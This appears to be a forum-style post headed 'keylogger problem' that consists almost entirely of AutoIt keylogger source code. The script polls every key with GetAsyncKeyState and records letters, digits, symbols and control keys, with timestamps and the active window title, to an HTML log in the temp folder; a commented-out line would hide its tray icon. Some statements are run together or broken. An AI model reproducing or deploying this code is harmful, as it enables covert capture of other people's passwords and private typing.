KKKEEEYYYLLLOOOOGGGEEERRRR PROBLEM PROBLEM PROBLEM PROBLEM PROBLEM

#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.0.0 Author: myName
Script Function:Template AutoIt script.
#ce ----------------------------------------------------------------------------
; Script Start - Add your code below here
#cs ----------------------------------------------------------------------------
Author: unknown
(C) unknown
#ce ----------------------------------------------------------------------------
;#NoTrayIcon
Local $date = @MDAY & "." & @MON & "." & @YEARLocal $user32 = DllOpen("user32"), $logLocal $window2 = ""Local $CAPSLOCKTOGGLELocal $log = @TempDir&"\"&$date&" Log.html"FileWrite($log,"")FileOpen($log, 1)Sleep(100)FileWrite($log, "")FileWrite($log, "[#[ Log Start:"&$date&" "&@HOUR&":"&@MIN&":"&@SEC&" ]#]
")FileWrite($log, "[#[ History : ]#]
")FileWrite($log, "{EN} = Enter
")FileWrite($log, "{BS} = BackSpace
")FileWrite($log, "deaktiviert{LMS} = Linke Maus Taste
")FileWrite($log, "deaktiviert{RMS} = Rechte Maus Taste
")FileWrite($log, "deaktiviert{MMS} = Mittlere Maus Taste
")FileWrite($log, "
")FileWrite($log, "[#[ Log : ]#]
")While 1For $n = 30 To 39If _IsPressed ($n) ThenIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('=')ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('0')ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('!')ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('1')ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('"')ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('2')ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('#')ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress( '3')ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('$')ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('4')ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('%')ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress( '5')ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('&')ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('6')ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('/')ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('7')ElseIf ((StringRight($n, 1) = And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress('(')ElseIf ((StringRight($n, 1) = And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('8')ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then_LogKeyPress(')')ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('9')EndIfWhile _IsPressed ($n) = 1Sleep(1)WEndEndIfNextFor $n = 60 To 69If _IsPressed ($n) ThenIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('0')ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('1')ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('2')ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress( '3')ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('4')ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress( '5')ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('6')ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('7')ElseIf ((StringRight($n, 1) = And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('8')ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then_LogKeyPress('9')EndIfWhile _IsPressed ($n) = 1Sleep(1)WEnd
Next
If _IsPressed ('3F') = 1 Then_LogKeyPress("?")While _IsPressed ('3F') = 1Sleep(1)WEndElseIf _IsPressed ('B4') = 1 Then_LogKeyPress("´")While _IsPressed ('B4') = 1Sleep(1)WEndElseIf _IsPressed ('2A') = 1 Then_LogKeyPress("*")While _IsPressed ('2A') = 1Sleep(1)WEndElseIf _IsPressed ('BE') = 1 Then_LogKeyPress(".")While _IsPressed ('BE') = 1Sleep(1)WEndElseIf _IsPressed ('2B') = 1 Then_LogKeyPress("+")While _IsPressed ('2B') = 1Sleep(1)WEndElseIf _IsPressed ('27') = 1 Then_LogKeyPress("'")While _IsPressed ('27') = 1Sleep(1)WEndElseIf _IsPressed ('41') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("a")Else_LogKeyPress("A")EndIfWhile _IsPressed ('41') = 1Sleep(1)WEndElseIf _IsPressed ('42') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("b")Else_LogKeyPress("B")EndIfWhile _IsPressed ('42') = 1Sleep(1)WEndElseIf _IsPressed ('43') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("c")Else_LogKeyPress("C")EndIfWhile _IsPressed ('43') = 1Sleep(1)WEndElseIf _IsPressed ('44') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("d")Else_LogKeyPress("D")EndIfWhile _IsPressed ('44') = 1Sleep(1)WEndElseIf _IsPressed ('45') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("e")Else_LogKeyPress("E")EndIfWhile _IsPressed ('45') = 1Sleep(1)WEndElseIf _IsPressed ('46') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("f")Else_LogKeyPress("F")EndIfWhile _IsPressed ('46') = 1Sleep(1)WEndElseIf _IsPressed ('47') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("g")Else_LogKeyPress("G")EndIfWhile _IsPressed ('47') = 1Sleep(1)WEndElseIf _IsPressed ('48') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("h")Else_LogKeyPress("H")EndIfWhile _IsPressed ('48') = 1Sleep(1)WEndElseIf _IsPressed ('49') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("i")Else_LogKeyPress("I")EndIfWhile _IsPressed ('49') = 1Sleep(1)WEndElseIf _IsPressed ('4A') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("j")Else_LogKeyPress("J")EndIfWhile _IsPressed ('4A') = 1Sleep(1)WEndElseIf _IsPressed ('4B') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("k")Else_LogKeyPress("K")EndIfWhile _IsPressed ('4B') = 1Sleep(1)WEndElseIf _IsPressed ('4C') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("l")Else_LogKeyPress("L")EndIfWhile _IsPressed ('4C') = 1Sleep(1)WEndElseIf _IsPressed ('4D') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("m")Else_LogKeyPress("M")EndIfWhile _IsPressed ('4D') = 1Sleep(1)WEndElseIf _IsPressed ('4E') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("n")Else_LogKeyPress("N")EndIfWhile _IsPressed ('4E') = 1Sleep(1)WEndElseIf _IsPressed ('4F') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("o")Else_LogKeyPress("O")EndIfWhile _IsPressed ('4F') = 1Sleep(1)WEndElseIf _IsPressed ('50') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("p")Else_LogKeyPress("P")EndIfWhile _IsPressed ('50') = 1Sleep(1)WEndElseIf _IsPressed ('51') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("q")Else_LogKeyPress("Q")EndIfWhile _IsPressed ('51') = 1Sleep(1)WEndElseIf _IsPressed ('52') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("r")Else_LogKeyPress("R")EndIfWhile _IsPressed ('52') = 1Sleep(1)WEndElseIf _IsPressed ('53') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("s")Else_LogKeyPress("S")EndIfWhile _IsPressed ('53') = 1Sleep(1)WEndElseIf _IsPressed ('54') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("t")Else_LogKeyPress("T")EndIfWhile _IsPressed ('54') = 1Sleep(1)WEndElseIf _IsPressed ('55') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("u")Else_LogKeyPress("U")EndIfWhile _IsPressed ('55') = 1Sleep(1)WEndElseIf _IsPressed ('56') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("v")Else_LogKeyPress("V")EndIfWhile _IsPressed ('56') = 1Sleep(1)WEndElseIf _IsPressed ('57') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("w")Else_LogKeyPress("W")EndIfWhile _IsPressed ('57') = 1Sleep(1)WEndElseIf _IsPressed ('58') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("x")Else_LogKeyPress("X")EndIfWhile _IsPressed ('58') = 1Sleep(1)WEndElseIf _IsPressed ('59') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("y")Else_LogKeyPress("Y")EndIfWhile _IsPressed ('59') = 1Sleep(1)WEndElseIf _IsPressed ('5A') = 1 ThenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress("z")Else_LogKeyPress("Z")EndIfWhile _IsPressed ('5A') = 1Sleep(1)WEndElseif _IsPressed ('BE') = 1 thenIf $CAPSLOCKTOGGLE = 0 Then_LogKeyPress(".")else_LogKeyPress(":")endifwhile _isPressed ('BE') = 1Sleep(1)wendElseIf _IsPressed ('20') = 1 Then_LogKeyPress(" ")While _IsPressed ('20') = 1Sleep(1)WEnd;ElseIf _IsPressed ('01') = 1 Then
;_LogKeyPress("{LMS}");While _IsPressed ("01") = 1;Sleep(1);WEnd;ElseIf _IsPressed ('02') = 1 Then
;_LogKeyPress("{RMS}");While _IsPressed ("02") = 1;Sleep(1);WEnd;ElseIf _IsPressed ('04') = 1 Then;_LogKeyPress("{MMS}");While _IsPressed ("04") = 1;Sleep(1);WEndElseIf _IsPressed ('08') = 1 Then_LogKeyPress("{BS}")
While _IsPressed ("08") = 1Sleep(1)WEndElseIf _IsPressed ('09') = 1 Then_LogKeyPress("{TAB}")While _IsPressed ("09") = 1Sleep(1)WEndElseIf _IsPressed ('0d') = 1 Then_LogKeyPress("{EN}
")While _IsPressed ("0d") = 1Sleep(1)WEndElseIf _IsPressed ('10') Then;_LogKeyPress("{SHIFT}")While _IsPressed ("10") = 1For $n = 30 To 39If _IsPressed ($n) ThenIf StringRight($n, 1) = 0 Then_LogKeyPress('=')ElseIf StringRight($n, 1) = 1 Then_LogKeyPress('!')ElseIf StringRight($n, 1) = 2 Then_LogKeyPress('"')ElseIf StringRight($n, 1) = 3 Then_LogKeyPress('#')ElseIf StringRight($n, 1) = 4 Then_LogKeyPress('$')ElseIf StringRight($n, 1) = 5 Then_LogKeyPress('%')ElseIf StringRight($n, 1) = 6 Then_LogKeyPress('&')ElseIf StringRight($n, 1) = 7 Then_LogKeyPress('/')ElseIf StringRight($n, 1) = 8 Then_LogKeyPress('(')ElseIf StringRight($n, 1) = 9 Then_LogKeyPress(')')EndIfWhile _IsPressed ($n) = 1Sleep(1)WEndEndIfNextIf _IsPressed ('41') = 1 Then _LogKeyPress("A")While _IsPressed ('41') = 1Sleep(1)WEndIf _IsPressed ('42') = 1 Then _LogKeyPress("B")While _IsPressed ('42') = 1Sleep(1)WEndIf _IsPressed ('43') = 1 Then _LogKeyPress("C")While _IsPressed ('43') = 1Sleep(1)WEndIf _IsPressed ('44') = 1 Then _LogKeyPress("D")While _IsPressed ('44') = 1Sleep(1)WEndIf _IsPressed ('45') = 1 Then _LogKeyPress("E")While _IsPressed ('45') = 1Sleep(1)WEndIf _IsPressed ('46') = 1 Then _LogKeyPress("F")While _IsPressed ('46') = 1Sleep(1)WEndIf _IsPressed ('47') = 1 Then _LogKeyPress("G")While _IsPressed ('47') = 1Sleep(1)WEndIf _IsPressed ('48') = 1 Then _LogKeyPress("H")While _IsPressed ('48') = 1Sleep(1)WEndIf _IsPressed ('49') = 1 Then _LogKeyPress("I")While _IsPressed ('49') = 1Sleep(1)WEndIf _IsPressed ('4A') = 1 Then _LogKeyPress("J")While _IsPressed ('4A') = 1Sleep(1)WEndIf _IsPressed ('4B') = 1 Then _LogKeyPress("K")While _IsPressed ('4B') = 1Sleep(1)WEndIf _IsPressed ('4C') = 1 Then _LogKeyPress("L")While _IsPressed ('4C') = 1Sleep(1)WEndIf _IsPressed ('4D') = 1 Then _LogKeyPress("M")While _IsPressed ('4D') = 1Sleep(1)WEndIf _IsPressed ('4E') = 1 Then _LogKeyPress("N")While _IsPressed ('4E') = 1Sleep(1)WEndIf _IsPressed ('4F') = 1 Then _LogKeyPress("O")While _IsPressed ('4F') = 1Sleep(1)WEndIf _IsPressed ('50') = 1 Then _LogKeyPress("P")While _IsPressed ('50') = 1Sleep(1)WEndIf _IsPressed ('51') = 1 Then _LogKeyPress("Q")While _IsPressed ('51') = 1Sleep(1)WEndIf _IsPressed ('52') = 1 Then _LogKeyPress("R")While _IsPressed ('52') = 1Sleep(1)WEndIf _IsPressed ('53') = 1 Then _LogKeyPress("S")While _IsPressed ('53') = 1Sleep(1)WEndIf _IsPressed ('54') = 1 Then _LogKeyPress("T")While _IsPressed ('54') = 1Sleep(1)WEndIf _IsPressed ('55') = 1 Then _LogKeyPress("U")While _IsPressed ('55') = 1Sleep(1)WEndIf _IsPressed ('56') = 1 Then _LogKeyPress("V")While _IsPressed ('56') = 1Sleep(1)WEndIf _IsPressed ('57') = 1 Then _LogKeyPress("W")While _IsPressed ('57') = 1Sleep(1)WEndIf _IsPressed ('58') = 1 Then _LogKeyPress("X")While _IsPressed ('58') = 1Sleep(1)WEndIf _IsPressed ('59') = 1 Then _LogKeyPress("Y")While _IsPressed ('59') = 1Sleep(1)WEndIf _IsPressed ('5A') = 1 Then _LogKeyPress("Z")While _IsPressed ('5A') = 1Sleep(1)WEndWEndElseIf _IsPressed ('11') = 1 Then_LogKeyPress("{CTRL}")While _IsPressed ("11") = 1Sleep(1)WEndElseIf _IsPressed ('12') = 1 Then_LogKeyPress("{ALT}")While _IsPressed ("12") = 1Sleep(1)WEndElseIf _IsPressed ('13') = 1 Then_LogKeyPress("{PAUSE}")While _IsPressed ("13") = 1Sleep(1)WEndElseIf _IsPressed ('14') = 1 Then_LogKeyPress("{CAPSLOCK}")If $CAPSLOCKTOGGLE = 1 Then$CAPSLOCKTOGGLE = 0ElseIf $CAPSLOCKTOGGLE = 0 Then$CAPSLOCKTOGGLE = 1EndIfWhile _IsPressed ("14") = 1Sleep(1)WEndElseIf _IsPressed ('1b') = 1 Then_LogKeyPress("{ESC}")While _IsPressed ("1b") = 1Sleep(1)WEndElseIf _IsPressed ('21') = 1 Then_LogKeyPress("{PGUP}")While _IsPressed ("21") = 1Sleep(1)WEndElseIf _IsPressed ('22') = 1 Then_LogKeyPress("{PG_DOWN}")While _IsPressed ("22") = 1Sleep(1)WEndElseIf _IsPressed ('23') = 1 Then_LogKeyPress("{END}")While _IsPressed ("23") = 1Sleep(1)WEndElseIf _IsPressed ('24') = 1 Then_LogKeyPress("{HOME}")While _IsPressed ("24") = 1Sleep(1)WEndElseIf _IsPressed ('25') = 1 Then_LogKeyPress("{LEFT ARROW}")While _IsPressed ("25") = 1Sleep(1)WEndElseIf _IsPressed ('26') = 1 Then_LogKeyPress("{UP ARROW}")While _IsPressed ("26") = 1Sleep(1)WEndElseIf _IsPressed ('27') = 1 Then_LogKeyPress("{RIGHT ARROW}")While _IsPressed ("27") = 1Sleep(1)WEndElseIf _IsPressed ('28') = 1 Then_LogKeyPress("{DOWN ARROW}")While _IsPressed ("28") = 1Sleep(1)WEndElseIf _IsPressed ('2c') = 1 Then_LogKeyPress("{PRINT}")While _IsPressed ("2c") = 1Sleep(1)WEndElseIf _IsPressed ('2d') = 1 Then_LogKeyPress("{INSERT}")While _IsPressed ("2d") = 1Sleep(1)WEndElseIf _IsPressed ('2e') = 1 Then_LogKeyPress("{DEL}")While _IsPressed ("2e") = 1Sleep(1)WEndEndIfWEndFunc _IsPressed($hexKey)Local $aR, $bRv$hexKey = '0x' & $hexKey$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)If $aR[0] <> 0 Then$bRv = 1Else$bRv = 0EndIfReturn $bRvEndFuncFunc _LogKeyPress($what2log)$window = WinGetTitle("")If $window = $window2 ThenFileWrite($log, $what2log)Else$window2 = $windowFileWrite($log, "

" & "[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"
' & $what2log)EndIfEndFunc